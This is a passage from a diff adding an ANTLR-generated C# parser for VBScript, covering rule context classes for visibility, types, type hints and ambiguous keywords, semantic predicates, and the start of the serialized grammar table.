EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterPublicPrivateVisibility(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitPublicPrivateVisibility(this); + } + } + + [RuleVersion(0)] + public PublicPrivateVisibilityContext publicPrivateVisibility() { + PublicPrivateVisibilityContext _localctx = new PublicPrivateVisibilityContext(Context, State); + EnterRule(_localctx, 314, RULE_publicPrivateVisibility); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 3089; + _la = TokenStream.LA(1); + if ( !(_la==PRIVATE || _la==PUBLIC) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class PublicPrivateGlobalVisibilityContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PRIVATE() { return GetToken(VBScriptParser.PRIVATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PUBLIC() { return GetToken(VBScriptParser.PUBLIC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GLOBAL() { return GetToken(VBScriptParser.GLOBAL, 0); } + public PublicPrivateGlobalVisibilityContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_publicPrivateGlobalVisibility; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterPublicPrivateGlobalVisibility(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitPublicPrivateGlobalVisibility(this); + } + } + + [RuleVersion(0)] + public PublicPrivateGlobalVisibilityContext publicPrivateGlobalVisibility() { + PublicPrivateGlobalVisibilityContext _localctx = new PublicPrivateGlobalVisibilityContext(Context, State); + EnterRule(_localctx, 316, RULE_publicPrivateGlobalVisibility); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 3091; + _la = TokenStream.LA(1); + if ( !(((((_la - 74)) & ~0x3f) == 0 && ((1L << (_la - 74)) & 153122387330596865L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class TypeContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public BaseTypeContext baseType() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ComplexTypeContext complexType() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public TypeContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_type; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterType(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitType(this); + } + } + + [RuleVersion(0)] + public TypeContext type() { + TypeContext _localctx = new TypeContext(Context, State); + EnterRule(_localctx, 318, RULE_type); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 3095; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,538,Context) ) { + case 1: + { + State = 3093; + baseType(); + } + break; + case 2: + { + State = 3094; + complexType(); + } + break; + } + State = 3105; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,541,Context) ) { + case 1: + { + State = 3098; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 3097; + Match(WS); + } + } + + State = 3100; + Match(LPAREN); + State = 3102; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 3101; + Match(WS); + } + } + + State = 3104; + Match(RPAREN); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class TypeHintContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AMPERSAND() { return GetToken(VBScriptParser.AMPERSAND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AT() { return GetToken(VBScriptParser.AT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOLLAR() { return GetToken(VBScriptParser.DOLLAR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EXCLAMATIONMARK() { return GetToken(VBScriptParser.EXCLAMATIONMARK, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode HASH() { return GetToken(VBScriptParser.HASH, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PERCENT() { return GetToken(VBScriptParser.PERCENT, 0); } + public TypeHintContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_typeHint; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterTypeHint(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitTypeHint(this); + } + } + + [RuleVersion(0)] + public TypeHintContext typeHint() { + TypeHintContext _localctx = new TypeHintContext(Context, State); + EnterRule(_localctx, 320, RULE_typeHint); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 3107; + _la = TokenStream.LA(1); + if ( !(((((_la - 181)) & ~0x3f) == 0 && ((1L << (_la - 181)) & 1050917L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class VisibilityContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PRIVATE() { return GetToken(VBScriptParser.PRIVATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PUBLIC() { return GetToken(VBScriptParser.PUBLIC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FRIEND() { return GetToken(VBScriptParser.FRIEND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GLOBAL() { return GetToken(VBScriptParser.GLOBAL, 0); } + public VisibilityContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_visibility; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterVisibility(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitVisibility(this); + } + } + + [RuleVersion(0)] + public VisibilityContext visibility() { + VisibilityContext _localctx = new VisibilityContext(Context, State); + EnterRule(_localctx, 322, RULE_visibility); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 3109; + _la = TokenStream.LA(1); + if ( !(((((_la - 70)) & ~0x3f) == 0 && ((1L << (_la - 70)) & 2449958197289549841L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class AmbiguousKeywordContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ACCESS() { return GetToken(VBScriptParser.ACCESS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ADDRESSOF() { return GetToken(VBScriptParser.ADDRESSOF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ALIAS() { return GetToken(VBScriptParser.ALIAS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AND() { return GetToken(VBScriptParser.AND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ATTRIBUTE() { return GetToken(VBScriptParser.ATTRIBUTE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode APPACTIVATE() { return GetToken(VBScriptParser.APPACTIVATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode APPEND() { return GetToken(VBScriptParser.APPEND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AS() { return GetToken(VBScriptParser.AS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BEEP() { return GetToken(VBScriptParser.BEEP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BEGIN() { return GetToken(VBScriptParser.BEGIN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BINARY() { return GetToken(VBScriptParser.BINARY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BOOLEAN() { return GetToken(VBScriptParser.BOOLEAN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BYVAL() { return GetToken(VBScriptParser.BYVAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BYREF() { return GetToken(VBScriptParser.BYREF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BYTE() { return GetToken(VBScriptParser.BYTE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CALL() { return GetToken(VBScriptParser.CALL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CASE() { return GetToken(VBScriptParser.CASE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CLASS() { return GetToken(VBScriptParser.CLASS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CLOSE() { return GetToken(VBScriptParser.CLOSE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CHDIR() { return GetToken(VBScriptParser.CHDIR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CHDRIVE() { return GetToken(VBScriptParser.CHDRIVE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COLLECTION() { return GetToken(VBScriptParser.COLLECTION, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CONST() { return GetToken(VBScriptParser.CONST, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DATE() { return GetToken(VBScriptParser.DATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DECLARE() { return GetToken(VBScriptParser.DECLARE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFBOOL() { return GetToken(VBScriptParser.DEFBOOL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFBYTE() { return GetToken(VBScriptParser.DEFBYTE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFCUR() { return GetToken(VBScriptParser.DEFCUR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFDBL() { return GetToken(VBScriptParser.DEFDBL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFDATE() { return GetToken(VBScriptParser.DEFDATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFDEC() { return GetToken(VBScriptParser.DEFDEC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFINT() { return GetToken(VBScriptParser.DEFINT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFLNG() { return GetToken(VBScriptParser.DEFLNG, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFOBJ() { return GetToken(VBScriptParser.DEFOBJ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFSNG() { return GetToken(VBScriptParser.DEFSNG, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFSTR() { return GetToken(VBScriptParser.DEFSTR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFVAR() { return GetToken(VBScriptParser.DEFVAR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DELETESETTING() { return GetToken(VBScriptParser.DELETESETTING, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DIM() { return GetToken(VBScriptParser.DIM, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DO() { return GetToken(VBScriptParser.DO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOUBLE() { return GetToken(VBScriptParser.DOUBLE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EACH() { return GetToken(VBScriptParser.EACH, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ELSEIF() { return GetToken(VBScriptParser.ELSEIF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END() { return GetToken(VBScriptParser.END, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ENUM() { return GetToken(VBScriptParser.ENUM, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQV() { return GetToken(VBScriptParser.EQV, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ERASE() { return GetToken(VBScriptParser.ERASE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ERROR() { return GetToken(VBScriptParser.ERROR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EVENT() { return GetToken(VBScriptParser.EVENT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FALSE() { return GetToken(VBScriptParser.FALSE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FILECOPY() { return GetToken(VBScriptParser.FILECOPY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FRIEND() { return GetToken(VBScriptParser.FRIEND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FOR() { return GetToken(VBScriptParser.FOR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FUNCTION() { return GetToken(VBScriptParser.FUNCTION, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GET() { return GetToken(VBScriptParser.GET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GLOBAL() { return GetToken(VBScriptParser.GLOBAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GOSUB() { return GetToken(VBScriptParser.GOSUB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GOTO() { return GetToken(VBScriptParser.GOTO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IF() { return GetToken(VBScriptParser.IF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IMP() { return GetToken(VBScriptParser.IMP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IMPLEMENTS() { return GetToken(VBScriptParser.IMPLEMENTS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IN() { return GetToken(VBScriptParser.IN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INPUT() { return GetToken(VBScriptParser.INPUT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IS() { return GetToken(VBScriptParser.IS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INTEGER() { return GetToken(VBScriptParser.INTEGER, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode KILL() { return GetToken(VBScriptParser.KILL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOAD() { return GetToken(VBScriptParser.LOAD, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOCK() { return GetToken(VBScriptParser.LOCK, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LONG() { return GetToken(VBScriptParser.LONG, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOOP() { return GetToken(VBScriptParser.LOOP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LEN() { return GetToken(VBScriptParser.LEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LET() { return GetToken(VBScriptParser.LET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LIB() { return GetToken(VBScriptParser.LIB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LIKE() { return GetToken(VBScriptParser.LIKE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LSET() { return GetToken(VBScriptParser.LSET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ME() { return GetToken(VBScriptParser.ME, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MID() { return GetToken(VBScriptParser.MID, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MKDIR() { return GetToken(VBScriptParser.MKDIR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MOD() { return GetToken(VBScriptParser.MOD, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NAME() { return GetToken(VBScriptParser.NAME, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEXT() { return GetToken(VBScriptParser.NEXT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEW() { return GetToken(VBScriptParser.NEW, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NOT() { return GetToken(VBScriptParser.NOT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NOTHING() { return GetToken(VBScriptParser.NOTHING, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NULL() { return GetToken(VBScriptParser.NULL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OBJECT() { return GetToken(VBScriptParser.OBJECT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ON() { return GetToken(VBScriptParser.ON, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OPEN() { return GetToken(VBScriptParser.OPEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OPTIONAL() { return GetToken(VBScriptParser.OPTIONAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OR() { return GetToken(VBScriptParser.OR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OUTPUT() { return GetToken(VBScriptParser.OUTPUT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PARAMARRAY() { return GetToken(VBScriptParser.PARAMARRAY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PRESERVE() { return GetToken(VBScriptParser.PRESERVE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PRINT() { return GetToken(VBScriptParser.PRINT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PRIVATE() { return GetToken(VBScriptParser.PRIVATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PUBLIC() { return GetToken(VBScriptParser.PUBLIC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PUT() { return GetToken(VBScriptParser.PUT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RANDOM() { return GetToken(VBScriptParser.RANDOM, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RANDOMIZE() { return GetToken(VBScriptParser.RANDOMIZE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RAISEEVENT() { return GetToken(VBScriptParser.RAISEEVENT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode READ() { return GetToken(VBScriptParser.READ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode REDIM() { return GetToken(VBScriptParser.REDIM, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode REM() { return GetToken(VBScriptParser.REM, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RESET() { return GetToken(VBScriptParser.RESET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RESUME() { return GetToken(VBScriptParser.RESUME, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RETURN() { return GetToken(VBScriptParser.RETURN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RMDIR() { return GetToken(VBScriptParser.RMDIR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RSET() { return GetToken(VBScriptParser.RSET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SAVEPICTURE() { return GetToken(VBScriptParser.SAVEPICTURE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SAVESETTING() { return GetToken(VBScriptParser.SAVESETTING, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SEEK() { return GetToken(VBScriptParser.SEEK, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SELECT() { return GetToken(VBScriptParser.SELECT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SENDKEYS() { return GetToken(VBScriptParser.SENDKEYS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SET() { return GetToken(VBScriptParser.SET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SETATTR() { return GetToken(VBScriptParser.SETATTR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SHARED() { return GetToken(VBScriptParser.SHARED, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SINGLE() { return GetToken(VBScriptParser.SINGLE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SPC() { return GetToken(VBScriptParser.SPC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STATIC() { return GetToken(VBScriptParser.STATIC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STEP() { return GetToken(VBScriptParser.STEP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STOP() { return GetToken(VBScriptParser.STOP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STRING() { return GetToken(VBScriptParser.STRING, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SUB() { return GetToken(VBScriptParser.SUB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TAB() { return GetToken(VBScriptParser.TAB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TEXT() { return GetToken(VBScriptParser.TEXT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode THEN() { return GetToken(VBScriptParser.THEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TIME() { return GetToken(VBScriptParser.TIME, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TO() { return GetToken(VBScriptParser.TO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TRUE() { return GetToken(VBScriptParser.TRUE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TYPE() { return GetToken(VBScriptParser.TYPE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TYPEOF() { return GetToken(VBScriptParser.TYPEOF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode UNLOAD() { return GetToken(VBScriptParser.UNLOAD, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode UNLOCK() { return GetToken(VBScriptParser.UNLOCK, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode UNTIL() { return GetToken(VBScriptParser.UNTIL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode VARIANT() { return GetToken(VBScriptParser.VARIANT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode VERSION() { return GetToken(VBScriptParser.VERSION, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WEND() { return GetToken(VBScriptParser.WEND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WHILE() { return GetToken(VBScriptParser.WHILE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WIDTH() { return GetToken(VBScriptParser.WIDTH, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WITH() { return GetToken(VBScriptParser.WITH, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WITHEVENTS() { return GetToken(VBScriptParser.WITHEVENTS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WRITE() { return GetToken(VBScriptParser.WRITE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode XOR() { return GetToken(VBScriptParser.XOR, 0); } + public AmbiguousKeywordContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_ambiguousKeyword; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterAmbiguousKeyword(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitAmbiguousKeyword(this); + } + } + + [RuleVersion(0)] + public AmbiguousKeywordContext ambiguousKeyword() { + AmbiguousKeywordContext _localctx = new AmbiguousKeywordContext(Context, State); + EnterRule(_localctx, 324, RULE_ambiguousKeyword); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 3111; + _la = TokenStream.LA(1); + if ( !((((_la) & ~0x3f) == 0 && ((1L << _la) & 9007304807790147582L) != 0) || ((((_la - 68)) & ~0x3f) == 0 && ((1L << (_la - 68)) & -8087550153692545025L) != 0) || ((((_la - 132)) & ~0x3f) == 0 && ((1L << (_la - 132)) & 562949936644063L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public override bool Sempred(RuleContext _localctx, int ruleIndex, int predIndex) { + switch (ruleIndex) { + case 117: return valueStmt_sempred((ValueStmtContext)_localctx, predIndex); + } + return true; + } + private bool valueStmt_sempred(ValueStmtContext _localctx, int predIndex) { + switch (predIndex) { + case 0: return Precpred(Context, 19); + case 1: return Precpred(Context, 18); + case 2: return Precpred(Context, 17); + case 3: return Precpred(Context, 16); + case 4: return Precpred(Context, 15); + case 5: return Precpred(Context, 14); + case 6: return Precpred(Context, 13); + case 7: return Precpred(Context, 12); + case 8: return Precpred(Context, 11); + case 9: return Precpred(Context, 10); + case 10: return Precpred(Context, 9); + case 11: return Precpred(Context, 8); + case 12: return Precpred(Context, 7); + case 13: return Precpred(Context, 6); + case 14: return Precpred(Context, 5); + case 15: return Precpred(Context, 4); + case 16: return Precpred(Context, 3); + } + return true; + } + + private static int[] _serializedATN = { + 4,1,224,3114,2,0,7,0,2,1,7,1,2,2,7,2,2,3,7,3,2,4,7,4,2,5,7,5,2,6,7,6,2, + 7,7,7,2,8,7,8,2,9,7,9,2,10,7,10,2,11,7,11,2,12,7,12,2,13,7,13,2,14,7,14, + 2,15,7,15,2,16,7,16,2,17,7,17,2,18,7,18,2,19,7,19,2,20,7,20,2,21,7,21, + 2,22,7,22,2,23,7,23,2,24,7,24,2,25,7,25,2,26,7,26,2,27,7,27,2,28,7,28, + 2,29,7,29,2,30,7,30,2,31,7,31,2,32,7,32,2,33,7,33,2,34,7,34,2,35,7,35, + 2,36,7,36,2,37,7,37,2,38,7,38,2,39,7,39,2,40,7,40,2,41,7,41,2,42,7,42, + 2,43,7,43,2,44,7,44,2,45,7,45,2,46,7,46,2,47,7,47,2,48,7,48,2,49,7,49, + 2,50,7,50,2,51,7,51,2,52,7,52,2,53,7,53,2,54,7,54,2,55,7,55,2,56,7,56, + 2,57,7,57,2,58,7,58,2,59,7,59,2,60,7,60,2,61,7,61,2,62,7,62,2,63,7,63, + 2,64,7,64,2,65,7,65,2,66,7,66,2,67,7,67,2,68,7,68,2,69,7,69,2,70,7,70, + 